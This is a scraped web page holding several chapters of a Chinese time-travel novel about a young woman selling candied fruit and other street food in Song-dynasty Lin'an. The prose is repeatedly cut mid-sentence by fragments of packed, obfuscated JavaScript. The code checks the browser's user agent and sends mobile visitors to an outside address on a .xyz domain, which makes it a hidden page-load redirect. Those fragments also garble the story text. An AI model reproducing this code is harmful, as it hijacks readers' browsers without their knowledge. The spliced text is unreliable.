l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626216|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 女娘道：“可不是，快吃快吃，明天我早些去求。早去的打得多。” 团团听了，有些骄傲，大声说：“这斋饭是我阿姐……” 江清澜立刻捂住她的嘴巴。 听别人说自己手艺好，当然高兴，但她打定主意，在这个时空要低调做人。 这里是封建等级社会。对位高者而言，位卑者就是蝼蚁，就像今天早上，自己之于那群骑马的人一样。 如今，虽在市井之中，仍要低调谦虚，否则，运气不好，怎么死的都不知道。 水果摊夫妇朝她们看过来。 江清澜：“没事没事，我买点果物。” 樱桃、荔枝这些是买不起了，先买点儿便宜的试试水。 李子、青梅、桃子是时令水果，各买了一斤，不过花了十五文钱，枇杷娇气些，储存不便，所以略贵，一斤就要八文钱。 除了桃子，她特意都选的色深而形小的那种，虽只花了二十三文，这三种果子加起来个数也上百了。 市集里有卖竹刷把的，是竹子被劈成细篾条后扎成的，花四文钱买了两把。 团团不解：“我们又不洗碗刷锅，买这个干吗？” 江清澜：“回去你就知道了，好玩儿得很呢。” 回了建隆寺，又去香积厨找大和尚买了些冰糖——中午做烩菜的时候，江清澜就看到了，厨房柜子里存了好几大罐子冰糖，师傅说是香客送的。 如今制糖业发达，糖价并不算贵，她给了师傅三十文，师傅随意给她装了些，应该不止一斤。 又花了五文钱，得了师傅的允诺——空闲的时候，她可以用香积厨的小灶。 如今，万事俱备，这就动手做冰糖水果串了。[2] 要说冰糖葫芦串，当然是山楂最好。 第一个就是好储存，第二个颜色红彤彤的，裹着亮闪闪的冰糖外衣，能勾起人的食欲。且山楂本身偏酸，混合厚重的冰糖来吃，才酸甜可口。 可惜，现在才四月份，山楂的影儿都还没有…… 江清澜一边想，一边同团团用竹刷把的竹签串水果。 竹签太细太软，要用好几根合在一起，才能支撑得起一个李子或枇杷。但事情紧急，也没有其他办法了。 除了桃子，串这一百多颗水果，把两把竹刷子全用光了。 下一步便是熬糖色，这是冰糖葫芦串成功与否的关键。 糖的火候一定要控制好。温度太低呢，糖不化，嚼果子的时候糖会粘牙。可温度高了也不行，糖色变黑不说，味道还会发苦。 江清澜先烧大火，以铁铲快速搅动，让冰糖在锅里融化后转小火。看到糖水微微发黄，取根筷子轻沾一些，猛的插入冷水中。 筷子尖的糖浆迅速凝固，在碗底轻轻一戳，凝结的糖霜刺啦一声就碎了，这便是熬好了。 接下来就是细致活儿了。先让几个胖胖的油桃下锅打个滚儿，沾了满身的糖衣，亮晶晶的。再一根根地蘸李子串、枇杷串、青梅串。 案板刷了清油，将这些串好的水果摆在上面晾干，冰糖水果串就大功告成了。 团团眼睁睁看着熟悉的水果变了身，好奇极了：“怎么一下就这么亮闪闪起来了？” 江清澜让她吃几个尝尝。 小姑娘先吃的是李子。 如今李子是时令水果，口感清脆，甜度又高，一口下去，先是糖衣脆脆甜甜的滋味，再是李子带了果酸又回甜的味道——甜给人以幸福感，酸则刺激得人满口生津，还想再吃。 团团一口气吃了两个李子串，还想再吃，江清澜让她再试试其他的。 嗯，枇杷又是另外一种滋味，果肉软烂，甜甜的汁水四溢，又因为混合了糖衣的酥脆口感，越嚼越香。 但青梅串一进嘴，团团就苦了脸，“呸呸呸”地全吐了出来。 “阿姐，青梅太酸啦，牙齿都酸掉了。” 江清澜想：坏了，青梅自来酸度高，都是做糖腌、糖渍的，看来这薄薄一层的糖衣，还抵不了它本身的酸。 但做都做了，不能白白浪费，拿出去看看再说。 临时没有草垛，竹刷把的签子也太软，插不起来，江清澜只用个簸箕，将做好的水果串挤挤挨挨地摆在里面。 万事俱备，就到见真章的时候了，江清澜雄赳赳，气昂昂： “走，我们出去摆摊！” 5. 冰糖水果串（二） 江清澜抱着小竹簸箕，团团吃着一个油桃糖葫芦，两人专往小孩儿多的地方凑。 这些油桃虽然个头儿不大，胜在颜值高，深红如玛瑙不说，裹了亮晶晶的一层糖衣，在阳光的照耀下，闪闪发光。 团团一口咬下去，鲜桃的果肉碎烂，殷红的汁水四溢，还有轻微的、嘎嘣嘎嘣的响声——这是糖衣被嚼烂了。 汁水太多了，有些顺着嘴角流，团团吸溜一声，用手绢擦擦嘴，再咯嘣脆地咬一口。 有个差不多大的小女孩儿看着团团吃桃儿，馋极了，也把手指放在嘴巴里，嗦得巴巴儿地响。 江清澜对她娘道：“娘子，给孩子买个串儿吧，只要一文钱。新鲜水果裹了糖汁，又健康又好吃。你看，我亲妹子都在吃。” “桃子也一文？” “桃子三文，枇杷、李子都是一文。” 那位女娘挑挑选选，李子、枇杷各买了一串，江清澜她们收了钱还没走远，又被她叫住了。 “李子、枇杷再各买三串，桃子也来两个！” “好嘞！” 如此这般，围着兴隆寺逛了几圈儿，她的竹簸箕里存货已所剩无几了。 如团团之前说的一样，顾客们都反映，青梅太酸了些。因此，剩下的，基本上都是青梅串儿。 团团发愁：“这青梅，快把人牙酸倒了，看来卖不出去了。” “不怕，”江清澜道，“我回去把它们用糖渍了，做成青梅干儿，一样的好吃。” 正说着，一道温柔的声音响起：“娘子，你这青梅怎么卖的？” 江清澜抬眼看，是个穿粉紫褙子、银灰裙子的妇人。娥眉淡扫、杏眼如水一般清澈。虽则看起来柔柔弱弱的，却有一种小家碧玉的美。 她一手撑着后腰，一手抚着隆起的肚皮，身后站着个婆子。 生意上门，江清澜笑吟吟：“两文钱一个，娘子可先尝后买。”说着递过去一个。 那怀孕的妇人也不客气，接过去就吃，团团看了，先把眉头皱了起来，像是自己被酸到了一般。 “哎呀，好吃呢。”怀孕妇人笑着说，“我就想吃点儿酸的，又怕光吃酸的，要吐清水儿。你的法子倒好，青梅裹了糖汁儿，又酸又甜的。你这些，我全要了。” 团团眼睛里冒出光来，忙低下头去数：“一串、两串、三串……” 江清澜道：“欸，数着也眼花，总不过二十来串吧，娘子买得多，我也让些利，给三十文就行。” 怀孕妇人果然高兴：“你是会做生意的。” 从身后婆子那里拿了钱来，她又道：“我住在御街中段的甜水巷里，便在涌金池边。三日后，娘子能否再送些来？” “你到宋家后门，给婆子说，是给张夫人送的就行。这里有一钱银子，二十文算你的辛苦费。” 江清澜便懂了，下次还送二十来个青梅串儿便成，连声应了。那妇人便由婆子搀着，施施然走了。 这下子，竹簸箕见了底儿，腰包却满了。回到寺庙后禅房，江清澜把竹簸箕往桌上一放，兴奋地搓手：“团团，把钱倒出来我们数数！” 哗啦啦，铜板们骨碌碌滚在桌上，堆得小山一般。 先把一钱的银角子刨到一边，再一文一文地数，一个、两个、三个……共一百零六个，加上银角子，就是二钱零六文！ 刨去水果、冰糖、刷把等成本六十二文，纯利有一钱四十四文！ 再说了，成本里最贵的就是冰糖，剩得多，还可以做好些糖葫芦。这不比打零工挣得多多了！ 江清澜姐妹两个越干越勇。这三日里，除了中午在香积厨里做饭、吃饭那会儿，其余时间，她俩都在捣鼓冰糖水果串儿。 横竖，江清澜也告知了其他厨娘做烩菜的秘诀。她们有样学样，做出来味道也很不错。 抱着竹簸箕叫卖到第三日，好些顾客都是熟人了。有些小孩儿还带了小伙伴儿来，一看到江清澜出来，立刻就要拉着大人过来。 渐渐的，人越来越多，俨然有成聚众成堆之势了。 团团捧着钱袋子，高兴极了，人们拿了水果串就往里面丢铜钱，钱多了，撞在一起，叮叮当当地响。 赚到钱了，本是好事，江清澜心里却有点儿不安。 府衙在寺门西边专门划定了摆摊区，恐怕是要收费的。昨日，她也看到穿青色官服的人在到处巡视，那她摆黑摊儿是不是…… 正在那里想着呢，“嘿，你们聚在那里干嘛！”有人大声呵斥。 江清澜一看，两个青年郎君疾步行来，皆着青色布袍，戴黑璞头，腰间悬着玉牌。 其中一个小眼睛、面黑的，跑得极快。 妈呀，是城管！ “不卖了、不卖了！”江清澜迅速将簸箕夹在腰与手臂的三角区里，“团团抓紧钱袋！”另一只手拉着妹妹，飞快地冲出人群。 有实诚的顾客喊：“钱，你不要钱啦！” “不要了不要了，请你吃了！”江清澜头也不回地说。 “哎！站住！”“城管”还喊。 站住才怪！让你们罚钱？江清澜两姐妹脚底装了风火轮般，一口气跑到后禅院，把门一锁，靠在门上大喘气。 团团也累坏了，一屁.股坐在地上。 江清澜把簸箕放桌上，发现里面只剩了几串李子、几串枇杷，其他的，应该都是“逃亡”的时候落在路上了。就这几个枇杷，还都被撞烂了，蔫头耷脑的，汁水横流。 正渴呢，她拿起一串枇杷递给团团，自己又吃一串，自我安慰：“没事，不过损失十几文，被他们抓住，不知罚多少呢。” 人这么多，她创收，“城管”也得创收，不罚款怎么创？ —— 与此同时，香积厨院子里，女侩王蕙娘也在掰着指头算账。给五个厨娘发工钱，花了三钱银子又五十文，她从中赚了…… “喂，这几日的烩菜是你做的？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626217|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 王蕙娘抬头看，来人戴一个银色面具，着莲花纹靛色圆领襕袍，戴黑色璞头，尾革带上镶着金玉。 虽看不清脸，但他那打扮、那气质，一看就不是常人。何况，他还一副高傲样子，带着天生的威压。这是非权贵所没有的。 “问你话呢！”谢临川有点儿不耐烦。 “妾身失礼了，”王蕙娘有点囧，自己一把年纪了，看个小郎君还看呆了，“妾身是女侩，厨娘是我招的人。” “那人呢？” “便在此寺之中，妾这就去请，劳郎君略等等。”几日下来，王蕙娘与江清澜熟识了，知道她在此地挂单，匆匆往后禅院去了。 今日天气不错，天蓝，太阳明晃晃的。谢临川到处溜溜达达，掐了一朵茶花在手里把玩。 既然这里没人，他也不用戴那劳什子面具了。 院子里煮烩菜的砖砌土灶还没拆，他一时兴致上来，将茶花往空中猛抛，再飞起一脚，踢在花上。 阳光之下，那殷红茶花带了点儿金色光泽，“嗖”的一下，竟对着砖砌土灶的缝隙钻了进去。 要知道，茶花是多么轻，而土灶的缝隙又是多么的小，要将如此轻的东西踢进去，需要多大的冲击力。 一击即中！ 谢临川笑了，露出一口雪白的牙齿，任爱意浓浓的阳光拂过他浓长的眼睫。 有羞羞怯怯的声音响起：“听女侩王蕙娘说，郎君在寻妾？” 钱君君虽然荆钗布裙，但出来之时特意打扮了一番——咬了咬唇，让小嘴儿红艳艳的，又把头发挑得松松的，额前溜了两绺出来。 方才谢、王二人对话时，她正准备从院外进来，将对话听了个全。 谢临川转身回视，上下打量她：“这几日的烩菜是你做的。” “正是妾身做的。” “你且说说，是如何做的？” 看江清澜做过了，几个厨娘都学会了，钱娘子就垂着眸说：“斋饭无荤，好吃的关键在于，要锁住油香。我先将豆腐块入油锅里炸，炸至两面金黄起泡……” “行了，”谢临川对这些厨房活儿又不感兴趣，不过是想确认一下，摆手道，“去东平王府做事，可愿意？” 钱娘子心里怦怦乱跳：“妾愿意。” …… 江清澜紧急被王蕙娘叫去时，也在屋里算账，心里还盘算着，难道是那个城管？不至于吧，为罚款，追到庙里来？ 到了香积厨院子里，只见大门外停了一辆奢豪的马车，车边站着三个人，正在说话。 那矮胖的老太太、高大的郎君皆着锦衣，有一种天生的贵气，另一边的女娘却荆钗布裙，一副低眉顺眼的模样。 其他的小厮、丫鬟们拎着包袱来来往往，应是正在从寺里往马车上搬东西。 王蕙娘指给江清澜看：“方才就是那位郎君找你。”又见旁边那女娘低着头，一副恭敬的模样，奇怪道：“咦，那不是钱娘子吗？” 6. 炸鸡翅 江清澜正在神游天外。 虽然看不清脸，但那位郎君身姿挺拔，如松如竹，尾革带上镶着的金玉在阳光下熠熠闪光。 江清澜忍不住笑了笑。这人应该是个帅哥。 王蕙娘的关注点却在钱君君身上：“这贱蹄子！她顶了你的名儿，看我不去撕烂她的嘴！” 说着，就要冲出去。 “算了。”江清澜拉住了她。 门外，老太太与郎君已上了马车，钱娘子面上染霞，飞快地往院里看了一眼。 哪知这一眼，正好和江清澜的对上了，她自知心虚，又低下头，匆匆跟上马车。 王蕙娘看江清澜一眼，愤愤不平又百思不得其解：“我看那马车上挂着东平王府的牌子，去了那儿，可是泼天的富贵。” 第一代东平王谢山，起于微末，在先帝尚为行伍小官时就慧眼识珠，誓死效忠。后来更是随之南征北战，为大宋江山立下了汗马功劳。 如今的东平王谢衍，是谢山独子，虽无军功，也是朝廷的肱股之臣，简在帝心。 东平王府，确实是泼天的富贵之所。 江清澜笑了：“我就爱在这市井里挣点小钱。她爱去就让她去好了。” 富贵险中求，越富贵越险，大老爷们高兴了会赐金赏银，不高兴了，可是会砍人脑袋的。 她从发现自己穿越的那一刻开始，就打定主意，要离这些什么王爷啊、权臣啊远点儿。她可不想为了富贵，把小命丢了。 王蕙娘是个人精，见人说人话、见鬼说鬼话，听她这样说，就顺坡下驴：“也是，你有手艺，迟早发大财。” 既然正主儿都不在意，她又何必在乎，转了话题道： “后日，我有个活儿。荷塘村的乡绅何老爷，要办大寿。摆三日流水宴，做三顿，给九十文一天。只是路程有些远，在乡下。你看如何？” 江清澜摆过摊儿，有了对比，做厨娘这九十文性价比就不高了。又在乡下，那么远，带着团团去……想了想，她还是拒绝了。 “多谢蕙姐姐，只是我家阿妹年纪小，那么远，怕她受不了颠簸……” 王蕙娘性情爽朗，也不恼：“没事。你什么时候想做了，来找我就是，我家就在武林路北的金水巷子里。我若不在，你留个口信儿就行。” 辞别王蕙娘，江清澜开始盘算。 这几日，卖冰糖水果串赚了将近七钱银子，加上当厨娘的两钱十文，共九钱十文。 买刷牙子、揩齿药等生活必需品，花了二十来文。她与团团两个各买了一双袜子，花了十文。 这些钱，加上她从陆府出来时，身上带的那丁点儿，可能刚刚一两多。 她这几天打听过了，跟现代大都市一样，临安城的房价很高。买个一进的小院子，便是在余杭门那么偏的地方，也得几百两银子。 买房，她想都不敢想。 但是，只要不去御街，在略偏僻一些的地方，比如王蕙娘家的武林北路，七八钱银子，是可以租到一个窄小单间的，够她与团团两个人住了。 她们两个女孩子，老在和尚庙里挂单，也不大好。洗.澡什么的，都不方便。 最重要的是，在庙里吃斋饭也好，借庙里的锅灶自己做饭也好，都不能做肉菜。 天天吃素，那可怎么活？莫说正在长身体的团团了，连她自己都受不了。 然而，她想了想，决定还是先不赁房子。统共就这么点儿钱，一定要让钱再生钱，而不是直接花个大半。 那钱如何生钱呢？当然是做生意。做生意，就要去人多的地方。 今天是庙会的最后一日，据江清澜观察，建隆寺的人烟明显比前两日少了。什么地方人多呢？自然是临安城里的夜市。 书上说，唐代夜市仅限少数商业区，是达官贵人的冶游之所。宋代夜市却是真正属于市民的。 众安桥夜市、清河坊夜市……这些大大小小的夜市，分布在临安城的各个地方，热闹非凡，几与现代无异。 明日，她要去那位怀孕的娘子家，送冰糖青梅串儿。她住在御街中段的甜水巷，挨着大名鼎鼎的中瓦不远，正好去瞧瞧。 此外，江清澜还有一个打算——既然要长期做生意，就得考虑办.证，合法合规才行。 不然，像之前那样，遇到“城管”就糟了。轻则罚款，重则没收“作案工具”——摊子、锅碗瓢盆，再重甚至蹲大牢，都是可能的。 办.证，她虽不知道具体流程，但肯定是得花钱的。 江清澜叹口气：哎哟，手里统共就一两银子，到处都得花钱。哪里还敢租屋子，先老实在寺庙里待着吧。 建隆寺离城里远，好在临安城里的寺庙、尼姑庵也不少，一定也可以挂单。 第二日，先到甜水巷把张娘子要的青梅送了，从黄昏起，江清澜与团团两个，就在中瓦里闲逛。 白日不过是普通的街道，也有三三两两的摊铺、过路的行人。待入了夜，她才知，中瓦是如何地热闹。 天上“砰”一声绽开烟花，地上游人摩肩接踵。 有几个小娘子结伴，是出来买胭脂水粉的。她们正为了两文钱，与摊主讨价还价。 有的是夫妇两个一起。女娘兴致勃勃，东瞅西看，郎君提了满手的物什，一副生无可恋的表情。 提着茶壶的小少年们满街跑窜：“郎君，要来点茶吗？” 宋代茶业兴盛，达官贵人好点茶，分为炙、碎、碾、入盏、注汤、击拂等步骤，流程复杂。 像这些少年一般，提壶在市井中贩卖的，却多是油茶。便是将大叶茶混同各色果仁儿，用多多的猪油炒过，加入葱、姜等调料。 这种茶喝起来油香四溢、满口肉味儿。[1] 瓦子大门前，几个老婆婆身着大红衫裙，头上簪花，脸涂浓妆，以老相扮俏妆，引得游客的目光。偏她们还掐腰舞臂，连珠炮似的讲着滑稽戏，互相打趣，逗得人哈哈大笑。 江清澜考察了市场，有了主意：瓦子里什么商品都有，她要做生意，只能像冰糖水果串这样推陈出新才行。 团团逛夜市，开心极了，兴奋得走路一蹦一蹦的。但入了夜，肚子有些饿了。路边一小摊儿不知在炸着什么，油香扑鼻，团团便走不动路了。 江清澜看她表情，心道：好吧，今晚上就破费一回，美美吃一顿。 因为好几天没见荤腥了，江清澜特意点的肉菜：四个小肉包，一盘芹菜炒猪肉，还有几个炸鸡翅。 历史上，与前朝相比，宋朝的植物油提炼技术取得了质的飞跃，所以百姓食用菜籽油更为普遍了。但比起动物油，植物油仍然更贵。 江清澜心想：无怪乎这几个炸物，卖得比炒猪肉还贵。 路边摊儿比不上酒楼，算不上精致，但料放得足，正合江清澜姐妹二人的意。 包子的油漏了出来，把蓬松的白面浸渍得油澄澄的。芹菜炒猪肉香气浓郁，青菜爽脆嫩绿。 那篓子炸物，更是金灿灿的，不知在油锅里滚了几个来回。若是拿一个起来，定得有油往下滴。 团团这几天没吃着肉，确实馋急了，围着那盘炸鸡翅东看西看，最后深深吸了口气：“天啊，好香啊！” 手、筷并用，小心翼翼送入口中。 哎呀，先是浓郁的油香，再是鸡肉独特的味道。此物不像其他做法的鸡肉又干又柴，而是肉质嫩滑、一抿就烂了，丝丝缕缕的肉都入了味儿的，奇香无比。 她饕餮般一口气吃了三只后，才堪堪能辨认其中的调料。微麻微辣的，腌的时候一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626218|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定放了川椒粉，可为什么中间还有点儿甜？ 团团百思不得其解，江清澜却知道，这是因为腌制的时候放了些白糖，这样炸好的鸡翅会有回甜味。 其实，叫她说，这炸鸡翅比现代的差远了。尤其是，炸的时候没有裹面包糠，口感中少了酥脆。并且，也没有番茄酱、柠檬汁等解腻的小料，味道上就差了一个层次。 若她以后有了自己的厨房，看能不能捣鼓出面包糠来。到时候，团团就看不上这里的鸡翅了。 正胡思乱想着，哐哐几声，有人敲锣。 一群劲装少年从街上走过，有人挥舞彩带，有人高呼：“五月初十，齐云社、火焰队[2]蹴鞠决赛，西山蹴鞠场，欢迎观看！” 江清澜瞧着新鲜，脱口而出：“原来这里也有足球比赛，免费吗？” 团团正在啃鸡翅，满嘴油乎乎的，听了这话，嘲笑她： “阿姐说胡话呢，瓦子里的表演赛不收钱，但西山的比赛怎么可能免费？何况，还是齐云社、火焰队的决赛！” “最远的位置，也得四五钱银子。今年水少，五月初五不竞舟、争标了，蹴鞠赛的入场费肯定会更贵。” “你忘啦，那一年，也是停了竞舟比赛，爹爹娘娘就带我们去看了蹴鞠赛。” 江清澜哦一声，又怕她说到爹娘，要掉金豆子，就拿起一个包子，塞她嘴里：“姐姐记岔了。你别光吃鸡翅，包子也啃两口，冷了吃了要闹肚子的。” 她这般说着，心中却思忖，等有钱了，得去蹴鞠场看看。也不知，场内有没有销售场地，给不给冠名广告。 嘿，真是处处是商机啊，必须得抓紧时间办营业执照了，明日就去！ —— 东平王府在丰豫门边，离闹市不远。但背靠偌大的西湖，取了其幽静。是以，不管城里怎样热闹，王府里，始终是静谧的另一番天地。 王府东侧的聆泉院更是安静，只有草丛里的虫子在唧唧叫着。 谢临川将图纸展开，铺在书桌上，抱臂深思着。 淡红褙子的女娘脚步轻浅，纵端了沉重托盘，一路行来，仍无声响。她的声音也很是温柔：“世子爷，王妃命奴婢前来送饭。” “知道了，放那儿吧。”谢临川头也没抬，眉头深锁，专研着桌上的蹴鞠阵法。 火焰队讲究猛攻猛打，球头李正，最擅长凌空抽.射，但齐云社的防线也是滴水不漏…… “世子爷，奴婢姓钱，名君君，是前日随爷从建隆寺……” 这阵法图纸标注得十分详细，是以平摊在书桌上，占了很大地方。谢临川人又高，站着看不清，便一只手撑在桌子上，弓着腰细细看去。 嗯，如果李正在这里射风流眼[3]的话，齐云社肯定会派朱珍、朱选在这里防守…… 他正想到关键处，也不知道是谁，在耳朵边叽叽咕咕、唠唠叨叨的，弄得他心头火起。而且，声音还越来越响了。 欸，光线怎么变暗了？谢临川瞪大眼睛，还是看不清，大手一挥：“哎呀，你站这么近干嘛，挡着光了！” 钱君君只觉一股大力挥来，还没反应过来，自己就猛的跌在了地上，屁.股摔得生疼，眼泪都快出来了。 但这可不是哭的时候。她连忙爬起来，改成跪的姿势，想要赔礼道歉，却听清朗的声音道： “欸，你的衣服？” 抬头一看，谢世子已不再专研图纸了，而是皱着眉头，一手抱胸，一手捏着下巴，用玩味的眼神盯着自己的胸口。 钱君君眼睛亮了，歪歪跪着，有些可怜巴巴的模样。头也埋得更低了，好展示傲人的曲线。 那当然了，她来的时候经过了特意打扮的，轻纱覆身，酥.胸半.露…… 钱君君蓦的羞红了脸。 7. 糯米饭团 那一年钱塘江弄潮、争标，谢世子戴着银色面具、额系红丝带，于万人之中夺得头标，看得人心潮澎湃。 她的运气又特别好，谢世子骑着高头大马游街时，面具掉了，当时她就在马下，就她看见了！ 那时候她就想，若有一天，谢世子能看她一眼，便是死了，也值了。 老天保佑！菩萨显灵！她竟然有今天！ 正在那里浮想联翩着。“喏，拿去！”一个银锭子滚在脚边。钱君君不解其意，疑惑地望向那人。 “方才，你说你是哪儿的？” “奴婢是前日随世子爷从建隆寺……” 谢临川轻咳一声，站得笔直，眼神凌厉，下颌线绷得很紧。 “行了！” “爷管你是哪儿的，只要在东平王府做事，代表的就是王府的颜面。如今才四月，你穿这么点儿不冷吗？让别人看见了，传出去，还说爷东平王府苛待下人！” 钱君君的脸一寸寸地红了，连脖子根儿都红了。只这次的“羞”，不是娇羞。她把抹.胸使劲儿往上拽。 谢临川还不死心，继续追问：“你说说，王府亏待你没有？” “没……没有。”钱君君咬着牙说。 “那就好，”谢临川正气凛然，“把钱拿着，自己去买两身齐整衣裳。” …… 聆泉院外，东平王妃梁氏的大丫鬟锦绣，正躲在墙根儿偷看。 见少女哭着跑了出来，手把抹胸拽得紧紧的，她摇摇头，往正院复命去了。 梁氏得了禀告，与王爷谢衍说：“三郎忽的从外面带个厨娘回来，还以为他晓事儿了，原是我们想岔了。” 这事儿，谢临川也给他们说过，说祖母爱吃这女娘做的饭菜。 但梁氏也尝过，她做的素烩菜还行，其他的很是平平。就连老夫人本人，吃过一两次素烩菜后也说，不知是不是没了建隆寺的香火加持，没那么好吃了。 她看这厨娘模样也算清秀，便想着，是不是三郎对她有什么特殊心思。 这钱娘子平日有意往聆泉院里凑，似乎也有些攀高枝儿的心思，她就帮了她一把，看看儿子的反应。 果然，这一试，他还是那副木头样子，对男女之事一点儿兴趣没有。 其实，也不是她着急。本朝崇尚晚婚，男子二十五娶妇、女子二十嫁人的情况比比皆是。这是因为，科举大盛，男子中了举后再成亲，光耀门楣，也能娶得更有钱、有地位的妇人。 他们家当然不是缺钱、缺地位。而是王爷着意要让家里人走文臣的路子，几个儿子都得去考科举。 但三郎不是读书的料，三年下来，连个秀才也没考上。临安城的夫子听说是他，给再多的钱也不上门了。王爷每每想起这事儿，就觉得丢脸。 读书不行，王爷便想让他尚公主。做了驸马，不得参与朝政，当个富贵闲人也好，与天家结亲，既保住了谢家的荣耀，又不至于功高震主，惹得官家猜疑…… 三郎长得好看，又爱在皇家蹴鞠队里露脸，很有几个公主看上过。有一次，宝庆公主和福安公主还为此打起架来，闹到官家那里去了。 这么看起来，好像尚公主这一条路很不错。 但公主金枝玉叶，是要捧着护着的。三郎这孩子，对男女之事是一点不开窍，什么温柔小意，懂都不懂。他那个牛脾气，要是尚了公主，把公主气死了，他们全家都得遭殃。 想到这里，梁氏摇头，深觉没有出路，对东平王道：“这孩子从小就爱舞刀弄枪，偏你不许，又改成蹴鞠。不就是踢球，你让他踢就是了。” 东平王谢衍最是沉稳持重，从来深谋远虑：“你懂什么？”夫妻两个在内间说话，没有外人，也不忌讳。 “先帝是前朝旧臣，以武起家的。他坐稳了江山后，最忌讳的就是旧事重演，是以，对武臣诸多防备。” “咱们父王是他出生入死的兄弟，江山一定，赶紧就上交了兵权。不然，你以为，如今还能有我们谢家？如今的官家是守成之人，更对武将忌惮得深。” 这些事王妃也知道一二： “是呀，所以王府现在与父王那会儿是完全不同了。你是文臣，半点儿武艺也不会，咱们两个女婿都是两榜进士，全家再没一个武将了。” “三郎不过就踢个球，临安城里这么多人都在踢，多他一个又怎么了？” 谢衍道：“所以说，你是妇人之见。伴君如伴虎，刻刻当小心。今日能蹴鞠争标，明日就能拿刀舞枪。你看朱将军家的几个儿子，谁会蹴鞠？” “这些日子，先有江渊案，再有潭州珍珠贪腐案，上上下下的，撸了多少人下来？官家心情不好，这时候千万别去触他霉头！” 他摆摆手，不想再与她纠缠：“总之，我都和临安府尹说好了，让这逆子去财赋司，干干再说。其他的，不必再说了。” —— 江清澜一大早就收拾好了东西，从建隆寺搬到了临安城里的青莲庵。青莲庵很小，挂单的费用要四十文一晚，且团团还要给半价，也就是姐妹二人共六十文。 虽住宿费贵了一些，但青莲庵在城里，去中瓦摆摊儿方便，且庵里都是尼姑，她们两个生活也方便一些。 另有一重，过两日便是原身父母的头七，她们姊妹去碧云岭扫墓，也近些。 安顿好了，都快中午了，二人来不及吃饭，拿上两个之前做好的糯米饭团，就赶着去府署办.证。 因为青莲庵在临安城北，而衙署在南边，好大一段路呢，她们又不舍得花钱雇马车，只好靠两条腿。 这时候的富贵人家一天吃三顿饭，也有不少百姓还有古风传统，只在早上和晚上开伙。中午实在饿得很，就简单吃些剩饭、糕点之类的充饥，一律谓之“点心”，取“安慰肠胃”之意。 如此看来，她们的“点心”可并不差。 昨天晚上，江清澜见香积厨里还有些糯米，便动了做贵州糯米饭团的心思。 上辈子读硕士时，她有个室友是贵州人，每次收假回学校，都要带糯米饭团给她们吃。 里面有：脆蹦蹦的油渣脆哨、味道浓郁的折耳根、酸唧唧的泡萝卜，豪华版还有大片的老腊肉，又香又咸，一想起就要流口水。 后来学校开的“全家”超市里，也进了贵州风味的糯米饭团，与贵州室友带的那种有些不同。少了脆哨，多了一根广式香肠，泡萝卜变成了酸豇豆，还要放花生米。可能是经过了冷冻的原因，糯米也更硬一些。 总的来说，味道也不错，江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626219|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清澜经常去买着吃，比一股孜然味儿的韩式饭团、没滋没味儿的日式饭团，更合她的口味。 但在建隆寺的香积厨里，正宗的贵州糯米饭团是做不成了，脆哨（油渣儿）没有、腊肠等荤物没有，折耳根——当然这个时节没有，花生，这个时代还没引进。 少了这几样，就少了贵州风味的灵魂。馅儿料嘛，只能找着什么做什么了。 运气不错，竟然有泡菜摊子，夹了个萝卜出来，脆是脆，就是不够酸，有那个意思就成。 前两天做烩菜，还剩了不少蘑菇。蘑菇可是个宝，天然的鲜味的来源，裹点面粉糊进油锅里一炸，随便撒点盐巴，便是一道美味。 贵州糯米饭之所以是褐黑色，就是因为糯米蒸到一半，要加酱油、香粉等各色调料。揉匀后再上锅蒸，最后成品便上色均匀，皆呈黑褐色，味道也极好。江清澜依法炮制，让她的饭团也变成了黑褐色。 先铺一层糯米，再放油炸蘑菇与泡萝卜，多来几勺豆酱，撒一把川椒粉——如今还做不出来油辣子，只能暂时这样了——再用新的糯米盖上，捏巴捏巴，建隆寺版糯米饭团就做好了。 虽不是正宗的贵州风味糯米饭团，也是好吃的。 糯米软软香香的，油炸蘑菇鲜味十足，泡萝卜负责脆脆的口感，这一个大大的饭团，带来的，不止是碳水化合物给人的饱腹感，还满足了味蕾。 与团团两人正好吃完，前面就出现了一排阔气的建筑，正门匾额上四个大字铁钩银画——临安府署。 门口两个高大的兵卒威武地站立着，江清澜向其中一人打听办牙帖（生产经营许可证）的地方，兵卒严肃得很，根本不说话，只一指西边的小门。 这个小门比起府署的大门，简直寒酸得像狗洞。好吧，他们平头百姓来办个证儿，是不可能让你走那金碧辉煌的正门。 江清澜牵着团团进了门。 